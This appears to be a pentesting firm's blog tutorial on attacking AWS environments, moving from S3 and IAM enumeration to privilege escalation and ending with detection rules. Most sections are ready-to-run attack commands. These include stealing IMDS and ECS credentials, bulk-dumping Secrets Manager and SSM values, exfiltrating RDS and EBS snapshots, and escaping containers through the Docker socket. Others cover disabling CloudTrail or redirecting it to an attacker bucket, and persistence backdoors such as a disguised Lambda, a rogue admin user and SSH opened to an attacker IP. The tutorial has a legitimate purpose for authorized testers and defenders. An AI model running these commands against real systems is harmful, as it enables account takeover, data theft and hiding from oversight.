October 21, 2025
The complete 2025 guide for ethical hackers and security engineers performing AWS penetration testing from reconnaissance to privilege escalation and detection evasion.
Ahmed M. Arafat

Quick Reference for AWS Penetration Testers:
AWS dominates the cloud infrastructure market with over 32% market share, hosting millions of organizations worldwide. As enterprises migrate critical workloads to AWS, understanding the security implications and attack surfaces becomes paramount. Unlike traditional infrastructure, AWS presents unique challenges: ephemeral compute instances, complex IAM policies, serverless architectures, and shared responsibility models.
This comprehensive guide provides a structured methodology for conducting AWS cloud penetration testing from reconnaissance and enumeration to exploitation and privilege escalation designed for intermediate to senior security professionals.
Amazon Web Services (AWS) powers a significant portion of the internet's infrastructure. From startups to Fortune 500 companies, organizations trust AWS with their most sensitive data. However, this trust must be validated through rigorous security testing.
Key reasons for AWS penetration testing:
"95% of cloud security failures through 2025 will be the customer's fault, not the cloud provider's."
— Gartner Cloud Security Report
Good news: As of 2019, AWS no longer requires pre-approval for penetration testing on most services.
Important: For activities involving prohibited items or services not listed above, submit a request through the AWS Vulnerability Reporting form.
Testing Approaches:
AWS resources follow a hierarchical organization model:
AWS Organization (Root)
├── Organizational Units (OUs)
│ ├── Production Account
│ ├── Staging Account
│ └── Development Account
└── Management Account (formerly Master Account)
Each AWS Account contains:
├── Regions (geographic areas)
│ ├── Availability Zones (isolated data centers)
│ │ ├── VPCs (Virtual Private Clouds)
│ │ │ ├── Subnets (public/private)
│ │ │ │ ├── EC2 Instances
│ │ │ │ ├── RDS Databases
│ │ │ │ └── Other Resources
│ │ │ └── Security Groups & NACLs
│ │ └── S3 Buckets (global namespace but regional)
│ └── IAM (Identity & Access Management - global service)Key Security Services:
Goal: Discover publicly accessible S3 buckets and identify data exposure risks.
Common naming patterns:
# Company-based patterns
companyname-backup
companyname-logs
companyname-prod
companyname-dev
companyname-assets
companyname-data
# Application-based
app-name-uploads
app-name-static
webapp-mediaEnumeration techniques:
# Check if bucket exists (DNS resolution)
nslookup bucket-name.s3.amazonaws.com
# Try to list bucket contents (anonymous)
aws s3 ls s3://bucket-name --no-sign-request
# Download accessible files
aws s3 cp s3://bucket-name/file.txt . --no-sign-request
# Sync entire bucket (if accessible)
aws s3 sync s3://bucket-name ./local-dir --no-sign-requestCheck bucket ACL and policies:
# Get bucket ACL
aws s3api get-bucket-acl --bucket bucket-name
# Get bucket policy
aws s3api get-bucket-policy --bucket bucket-name
# Check public access block configuration
aws s3api get-public-access-block --bucket bucket-nameCommon misconfigurations:
public-read or public-read-write ACLsMitigation:
Goal: Discover valid IAM principals and harvest credentials from various sources.
Credential sources:
# Check common locations
~/.aws/credentials
~/.aws/config
.env files
config.json
Environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
CI/CD configuration files (.gitlab-ci.yml, .github/workflows/*)
Container images (Docker layers)
Source code repositories
Instance user data scriptsEnumerate IAM user existence:
# Attempt to get user info (works even with no permissions)
aws iam get-user --user-name target-user
# Enumerate current identity
aws sts get-caller-identity
# List access keys for current user
aws iam list-access-keysTest credential permissions:
# Quick permission check
aws iam get-account-authorization-details --output json
# Enumerate accessible S3 buckets
aws s3 ls
# List EC2 instances
aws ec2 describe-instances
# List Lambda functions
aws lambda list-functions
# Enumerate IAM roles
aws iam list-rolesPrivilege enumeration script:
#!/bin/bash
# Quick AWS permission checker
echo "[+] Checking caller identity..."
aws sts get-caller-identity
echo "[+] Attempting to list S3 buckets..."
aws s3 ls 2>/dev/null && echo "✓ S3 ListAllMyBuckets" || echo "✗ S3 access denied"
echo "[+] Attempting to list EC2 instances..."
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name]' --output text 2>/dev/null && echo "✓ EC2 Describe" || echo "✗ EC2 access denied"
echo "[+] Attempting to list IAM users..."
aws iam list-users 2>/dev/null && echo "✓ IAM List Users" || echo "✗ IAM access denied"
echo "[+] Attempting to list Lambda functions..."
aws lambda list-functions 2>/dev/null && echo "✓ Lambda List" || echo "✗ Lambda access denied"Mitigation:
Goal: Extract IAM role credentials from EC2 instance metadata endpoint.
IMDSv1 (vulnerable to SSRF):
# Get IAM role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Get instance identity document
curl http://169.254.169.254/latest/dynamic/instance-identity/document
# Get user data (may contain secrets)
curl http://169.254.169.254/latest/user-dataIMDSv2 (requires session token):
# Get session token (hop limit = 1 prevents SSRF)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Use token for subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/SSRF to IMDS exploitation:
# Example SSRF vulnerable endpoint
https://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# If IMDSv1 is enabled, this will expose credentialsUse extracted credentials:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 lsMitigation:
aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required-http-put-response-hop-limit 1Goal: Discover Lambda functions and extract source code that may contain hardcoded secrets.
Enumeration:
# List all Lambda functions
aws lambda list-functions --output table
# Get function configuration
aws lambda get-function-configuration --function-name function-name
# Get function code location
aws lambda get-function --function-name function-name
# Download function code
aws lambda get-function --function-name function-name --query 'Code.Location' --output text | xargs curl -o function.zip
# Extract and review
unzip function.zip
grep -r "password\\|secret\\|key\\|token" .Check environment variables:
# Extract environment variables (may contain secrets)
aws lambda get-function-configuration --function-name function-name --query 'Environment.Variables'Review Lambda execution role:
# Get execution role ARN
ROLE_ARN=$(aws lambda get-function-configuration --function-name function-name --query 'Role' --output text)
# Get role name from ARN
ROLE_NAME=$(echo $ROLE_ARN | awk -F'/' '{print $NF}')
# Get attached policies
aws iam list-attached-role-policies --role-name $ROLE_NAME
# Get inline policies
aws iam list-role-policies --role-name $ROLE_NAMETest Lambda invocation:
# Invoke function (if you have permissions)
aws lambda invoke --function-name function-name --payload '{"key":"value"}' output.txt
# Review output
cat output.txtMitigation:
Goal: Identify publicly shared or accessible RDS snapshots containing sensitive data.
Enumeration:
# List all RDS snapshots
aws rds describe-db-snapshots --output table
# Check for public snapshots
aws rds describe-db-snapshots --query 'DBSnapshots[?PubliclyAccessible==`true`]'
# Describe specific snapshot
aws rds describe-db-snapshot-attributes --db-snapshot-identifier snapshot-nameCheck snapshot sharing:
# Get snapshot attributes
aws rds describe-db-snapshot-attributes --db-snapshot-identifier snapshot-id
# Look for "all" in restore attribute (public)Exfiltration technique:
# Copy snapshot to your account (if shared with you or public)
aws rds copy-db-snapshot \\
--source-db-snapshot-identifier arn:aws:rds:region:account:snapshot:snapshot-name \\
--target-db-snapshot-identifier my-copy
# Restore to RDS instance
aws rds restore-db-instance-from-db-snapshot \\
--db-instance-identifier restored-db \\
--db-snapshot-identifier my-copy
# Connect and extract data
mysql -h restored-db.xxxx.rds.amazonaws.com -u admin -pMitigation:
Goal: Identify publicly shared EBS snapshots and clone volumes to access data.
Enumeration:
# List all EBS snapshots owned by you
aws ec2 describe-snapshots --owner-ids self
# Search for public snapshots (specific region)
aws ec2 describe-snapshots --restorable-by-user-ids all --region us-east-1
# Describe specific snapshot
aws ec2 describe-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermissionClone and mount snapshot:
# Create volume from snapshot
aws ec2 create-volume \\
--snapshot-id snap-xxx \\
--availability-zone us-east-1a \\
--volume-type gp3
# Attach to your EC2 instance
aws ec2 attach-volume \\
--volume-id vol-xxx \\
--instance-id i-xxx \\
--device /dev/sdf
# SSH to instance and mount
sudo mkdir /mnt/target-volume
sudo mount /dev/xvdf1 /mnt/target-volume
cd /mnt/target-volume
# Extract credentials or sensitive data
grep -r "password" .
find . -name "*.pem"
find . -name ".env"Mitigation:
Goal: Extract sensitive information from CloudFormation templates and parameters.
Enumeration:
# List all CloudFormation stacks
aws cloudformation list-stacks --output table
# Describe specific stack
aws cloudformation describe-stacks --stack-name stack-name
# Get stack resources
aws cloudformation describe-stack-resources --stack-name stack-name
# Get template body (may contain hardcoded secrets)
aws cloudformation get-template --stack-name stack-name --query 'TemplateBody' --output text
# Extract parameters (often contains secrets)
aws cloudformation describe-stacks --stack-name stack-name --query 'Stacks[0].Parameters'Look for sensitive data:
# Download template
aws cloudformation get-template --stack-name stack-name --query 'TemplateBody' --output text > template.yaml
# Search for secrets
grep -i "password\\|secret\\|key\\|token" template.yamlMitigation:
NoEcho: true for sensitive parametersGoal: Extract secrets from AWS Secrets Manager and Systems Manager Parameter Store.
Secrets Manager:
# List all secrets
aws secretsmanager list-secrets
# Get secret value
aws secretsmanager get-secret-value --secret-id secret-name
# Batch extraction
for secret in $(aws secretsmanager list-secrets --query 'SecretList[*].Name' --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id $secret --query 'SecretString' --output text
doneParameter Store:
# List all parameters
aws ssm describe-parameters
# Get parameter value (plain text)
aws ssm get-parameter --name parameter-name --with-decryption
# Get multiple parameters
aws ssm get-parameters --names param1 param2 param3 --with-decryption
# Get parameters by path
aws ssm get-parameters-by-path --path /production/ --recursive --with-decryptionBulk extraction script:
#!/bin/bash
# Extract all SSM parameters
for param in $(aws ssm describe-parameters --query 'Parameters[*].Name' --output text); do
echo "=== $param ==="
aws ssm get-parameter --name "$param" --with-decryption --query 'Parameter.Value' --output text
echo ""
doneMitigation:
Goal: Identify exposed or misconfigured API Gateway endpoints.
Enumeration:
# List all APIs
aws apigateway get-rest-apis
# Get API details
aws apigateway get-rest-api --rest-api-id api-id
# List resources
aws apigateway get-resources --rest-api-id api-id
# Get method configuration
aws apigateway get-method --rest-api-id api-id --resource-id resource-id --http-method GETCommon API patterns:
https://{api-id}.execute-api.{region}.amazonaws.com/{stage}/{resource}Test authentication:
# Test without authentication
curl https://api-id.execute-api.us-east-1.amazonaws.com/prod/endpoint
# Test with API key
curl -H "x-api-key: key" <https://api-id.execute-api.us-east-1.amazonaws.com/prod/endpoint
# Test authorization bypass
curl -H "Authorization: Bearer fake-token" https://api-id.execute-api.us-east-1.amazonaws.com/prod/endpointCommon misconfigurations:
Mitigation:
Goal: Escape from container and access underlying host or cluster credentials.
ECS Task Metadata Endpoint:
# Get task metadata (ECS Fargate/EC2)
curl http://169.254.170.2/v2/metadata
# Get task IAM credentials
curl http://169.254.170.2/v2/credentials/ROLE-GUID
# Extract credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...EKS Privilege Escalation:
# Check service account
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# List pods
kubectl get pods --all-namespaces
# Check for privileged containers
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true)'
# Attempt to create privileged pod
kubectl run attacker --image=ubuntu --privilegedContainer escape techniques:
# Check if privileged
cat /proc/1/status | grep CapEff
# Check for Docker socket mount
ls -la /var/run/docker.sock
# If socket is mounted, escape to host
docker run -v /:/host -it ubuntu chroot /host /bin/bashMitigation:
Goal: Understand how attackers disable or evade CloudTrail logging.
Disable CloudTrail:
# Stop logging (requires significant permissions)
aws cloudtrail stop-logging --name trail-name
# Delete trail
aws cloudtrail delete-trail --name trail-name
# Update trail to log to attacker-controlled S3
aws cloudtrail update-trail --name trail-name --s3-bucket-name attacker-bucketEvasion techniques:
# Use access keys without MFA (if MFA not enforced)
aws sts get-session-token
# Operate from services with limited logging (e.g., certain Lambda regions)
# Use event selectors to exclude certain resource types
# Perform actions in regions without CloudTrail
# Check CloudTrail status
aws cloudtrail get-trail-status --name trail-name
# Check event selectors
aws cloudtrail get-event-selectors --trail-name trail-nameDetection indicators:
Mitigation:
Goal: Identify and exploit overly permissive IAM role trust policies and permissions.
Enumerate assumable roles:
# List all roles
aws iam list-roles
# Get role trust policy
aws iam get-role --role-name role-name --query 'Role.AssumeRolePolicyDocument'
# Look for roles with permissive trust policies
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.Service==`lambda.amazonaws.com`]]'Common privilege escalation paths:
# 1. iam:PassRole + service execution
aws lambda create-function --function-name backdoor --role arn:aws:iam::account:role/AdminRole ...
# 2. iam:CreateAccessKey on other users
aws iam create-access-key --user-name admin-user
# 3. iam:AttachUserPolicy
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 4. iam:UpdateAssumeRolePolicy
aws iam update-assume-role-policy --role-name target-role --policy-document file://trust.json
# 5. iam:PutUserPolicy (inline policy)
aws iam put-user-policy --user-name current-user --policy-name escalate --policy-document file://admin.json
# 6. sts:AssumeRole
aws sts assume-role --role-arn arn:aws:iam::account:role/AdminRole --role-session-name test23 known AWS privilege escalation techniques:
Mitigation:
Goal: Enumerate Cognito users and extract tokens.
Enumerate user pools:
# List user pools
aws cognito-idp list-user-pools --max-results 60
# Get user pool details
aws cognito-idp describe-user-pool --user-pool-id us-east-1_XXXXX
# List users (requires admin privileges)
aws cognito-idp list-users --user-pool-id us-east-1_XXXXX
# Get user attributes
aws cognito-idp admin-get-user --user-pool-id us-east-1_XXXXX --username user@example.comUser enumeration via signup:
# Attempt signup with existing email
aws cognito-idp sign-up \\
--client-id client-id \\
--username test@example.com \\
--password TempPass123!
# Error message reveals if user existsAuthentication:
# Initiate auth
aws cognito-idp initiate-auth \\
--auth-flow USER_PASSWORD_AUTH \\
--client-id client-id \\
--auth-parameters USERNAME=user@example.com,PASSWORD=password
# Get tokens (IdToken, AccessToken, RefreshToken)Mitigation:
Goal: Extract environment variables from Elastic Beanstalk that may contain secrets.
Enumeration:
# List all environments
aws elasticbeanstalk describe-environments
# Get environment configuration
aws elasticbeanstalk describe-configuration-settings \\
--application-name app-name \\
--environment-name env-name
# Extract environment variables
aws elasticbeanstalk describe-configuration-settings \\
--application-name app-name \\
--environment-name env-name \\
--query 'ConfigurationSettings[0].OptionSettings[?Namespace==`aws:elasticbeanstalk:application:environment`]'Alternative via EC2:
# SSH to Beanstalk EC2 instance
# Check environment variables
cat /opt/elasticbeanstalk/deployment/env
printenvMitigation:
| iam:AttachUserPolicy | Attach AdministratorAccess to current user |
|---|---|
| iam:CreateAccessKey | Create access key for privileged user |
| iam:PassRole + lambda:CreateFunction | Pass admin role to Lambda, invoke to escalate |
| iam:PutUserPolicy | Add inline admin policy to current user |
| iam:UpdateAssumeRolePolicy | Modify role trust to allow assumption |
| sts:AssumeRole + overly permissive trust | Assume higher-privilege role |
| ec2:RunInstances + iam:PassRole | Launch instance with privileged role |
| lambda:UpdateFunctionCode | Modify existing Lambda with privileged role |
1. Create new IAM user:
aws iam create-user --user-name backup-admin
aws iam create-access-key --user-name backup-admin
aws iam attach-user-policy --user-name backup-admin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess2. Add SSH key to EC2:
# Add public key to authorized_keys via user data or run command
aws ec2 modify-instance-attribute --instance-id i-xxx --user-data file://userdata.sh3. Create Lambda backdoor:
# Deploy Lambda with reverse shell or credential exfiltration
aws lambda create-function \\
--function-name system-health-check \\
--runtime python3.9 \\
--role arn:aws:iam::account:role/AdminRole \\
--handler index.handler \\
--zip-file fileb://backdoor.zip4. Modify security group:
# Open SSH from attacker IP
aws ec2 authorize-security-group-ingress \\
--group-id sg-xxx \\
--protocol tcp \\
--port 22 \\
--cidr attacker-ip/325. Create IAM role with external trust:
# Create role that can be assumed from attacker account
aws iam create-role --role-name ExternalAdmin --assume-role-policy-document file://external-trust.json
aws iam attach-role-policy --role-name ExternalAdmin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess// High-severity events
- ConsoleLogin (especially from unusual locations)
- CreateAccessKey (especially for other users)
- DeleteTrail / StopLogging
- PutBucketPolicy (making buckets public)
- ModifySnapshotAttribute (making snapshots public)
- AuthorizeSecurityGroupIngress (0.0.0.0/0)
- AssumeRole (especially cross-account)
- AttachUserPolicy / AttachRolePolicy (privilege escalation)
- GetSecretValue (secret access)
- RunInstances (especially with privileged roles)Detect public S3 bucket creation:
{
"source": ["aws.s3"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["PutBucketAcl", "PutBucketPolicy"],
"requestParameters": {
"accessControlList": {
"grants": {
"grantee": {
"URI": ["http://acs.amazonaws.com/groups/global/AllUsers"]
}
}
}
}
}
}Detect CloudTrail deletion:
{
"source": ["aws.cloudtrail"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["DeleteTrail", "StopLogging", "UpdateTrail"]
}
}Enable GuardDuty for automatic threat detection:

Stay secure with DeepStrike penetration testing services. Reach out for a quote or customized technical proposal today
Contact Us